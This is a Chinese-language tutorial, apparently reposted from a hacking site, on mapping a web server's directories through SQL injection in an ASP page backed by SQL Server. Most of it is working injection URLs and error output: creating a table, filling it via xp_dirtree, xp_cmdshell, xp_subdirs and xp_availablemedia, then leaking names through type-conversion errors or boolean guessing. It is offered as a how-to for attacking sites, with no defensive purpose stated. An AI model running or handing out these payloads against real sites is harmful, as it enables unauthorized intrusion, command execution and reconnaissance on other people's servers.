如果網(wǎng)站只開了80端口,你會(huì)發(fā)現(xiàn)下面的方法是比較有用的,其中用的方法幾乎都不是我發(fā)現(xiàn)的,文中包括一些注入時(shí)的個(gè)人經(jīng)驗(yàn)和技巧 ,方法可以說有4種(現(xiàn)在已知的) 
第一種方法: 
這個(gè)是<<怪異的sql注入>>中介紹的方法 
利用sqlserver的xp_dirtree,好的我們先來將一下方法,然后再說其優(yōu)劣處(在原文的基礎(chǔ)上作了點(diǎn)補(bǔ)充) 
建立表 
語句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))-- 
返回:正常的信息!說明建表成功!繼續(xù)! 
(建的比原文的大一點(diǎn),因?yàn)槲矣鲞^名子很長(zhǎng)的文件,刪除了那個(gè)id,因?yàn)闆]有什么用 
語句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:/' -- 
返回:正常信息。說明寫入c盤的所有目錄成功了!爽!接下來就是取表了!暴它出來。(好像只有暴這種方法了) 
語句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 
返回:microsoft ole db provider for sql server 錯(cuò)誤 80040e07 
將 varchar 值 '@inetpub'轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤。 
再依次爆出表中的目錄名稱! 
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from  
dirs where paths not in( '@inetpub'))-- 
返回:microsoft ole db provider for sql server 錯(cuò)誤 80040e07 
將 varchar 值 'test'轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤。 
再依次爆出表中的目錄名稱! 
好我們繼續(xù) 
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from  
dirs where paths not in( '@inetpub','test'))-- 
返回:microsoft ole db provider for sql server 錯(cuò)誤 80040e07 
將 varchar 值 'haha'轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤。 
再依次爆出表中的目錄名稱! 
好了,你應(yīng)該知道怎么做了吧,哈哈,就是把得到的表名添到那個(gè)括號(hào)里,有多少就放多少吧, 
一點(diǎn)技巧: 
有時(shí)候你會(huì)發(fā)現(xiàn)當(dāng)輸入類似 
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 
時(shí)不是顯示出錯(cuò),而是網(wǎng)頁顯示正常 
暈了吧,別緊張哈 
看看0<>(select top 1 paths from dirs) 說明返回是一個(gè)數(shù)字, 
哈哈,測(cè)試一下看看是多少吧 
100>(select top 1 paths from dirs) 
返回正常 
哈哈,用這種大于小于的方法很快就能猜出了 
好我們繼續(xù) 
比如當(dāng)出現(xiàn) 
59=(select top 1 paths from dirs) 
返回正常, 
ok,說明名字是59 
輸入如下 
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from  
dirs where paths not in( '59'))-- 
記得帶上引號(hào)喲 
下面的方法就和原來的一樣的了 
還有一個(gè)問題就是 
有時(shí)候用上面的方法輸入59時(shí),發(fā)現(xiàn)下一次的文件夾還是59 
這個(gè)是怎么回事情呢? 
呵呵,不知道你有沒有注意過059和59是一樣的? 
就是這個(gè)原因了,哈哈, 
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from  
dirs where paths not in( '059'))-- 
發(fā)現(xiàn)顯示下一個(gè)文件夾名字了,ok 
優(yōu)缺點(diǎn)分析: 
優(yōu)點(diǎn)就是所有的sqlserver用戶都可以使用,因?yàn)閤p_dirtree適用權(quán)限public, 
缺點(diǎn)是顯示的是目錄下的所有文件夾的名字,而且排列好像是沒有什么順序的,總之在好幾千好幾萬個(gè)文件夾里找你想要的文件夾是痛苦的. 
而且你知道了有那個(gè)文件夾也不能保證在根目錄下,實(shí)在是痛苦的一件事情呀,很多時(shí)候是靠運(yùn)氣和耐力. 
祝你成功 
方法二: 
利用xp_cmdshell 
哈哈,這個(gè)大家一定很熟悉了吧,我就簡(jiǎn)單說一下 
建立表 
語句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))-- 
返回:正常的信息!說明建表成功!繼續(xù)! 
(建的比原文的大一點(diǎn),因?yàn)槲矣鲞^名子很長(zhǎng)的文件,刪除了那個(gè)id,因?yàn)闆]有什么用 
語句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell 'dir c:/ /b/d' -- 
返回:正常信息。說明寫入c盤的所有目錄成功了!這里用了dir c:/ /b/d,哈哈,不知道/b/d什么作用就試驗(yàn)試驗(yàn)看 
語句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 
返回:microsoft ole db provider for sql server 錯(cuò)誤 80040e07 
將 varchar 值 '@inetpub'轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤。 
再依次爆出表中的目錄名稱! 
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from 
dirs where paths not in( '@inetpub'))-- 
返回:microsoft ole db provider for sql server 錯(cuò)誤 80040e07 
將 varchar 值 'test'轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤。 
再依次爆出表中的目錄名稱! 
方法同上,就不說了 
有時(shí)候我們也可以用下面的兩個(gè)擴(kuò)展來干些事情 
1)我們可以利用xp_availablemedia來獲得當(dāng)前所有驅(qū)動(dòng)器,并存入dirs表中: 
5 ;insert dirs exec master.dbo.xp_availablemedia;-- 
我們可以通過查詢temp的內(nèi)容來獲得驅(qū)動(dòng)器列表及相關(guān)信息 
(2)我們可以利用xp_subdirs獲得子目錄列表,并存入dirs表中: 
5 ;insert into dirs exec master.dbo.xp_subdirs 'c:/' ;-- 
優(yōu)缺點(diǎn)分析: 
很明顯了,這樣就不會(huì)出現(xiàn)xp_dirtree那種所有目錄都放在一起的情況了,只會(huì)顯示一級(jí)目錄,找起來方便多了. 
缺點(diǎn)也很明顯,只有sa有這個(gè)權(quán)限,也有可能管理員刪除了這個(gè)擴(kuò)展(畢竟太強(qiáng)大了). 
新聞熱點(diǎn)
疑難解答
圖片精選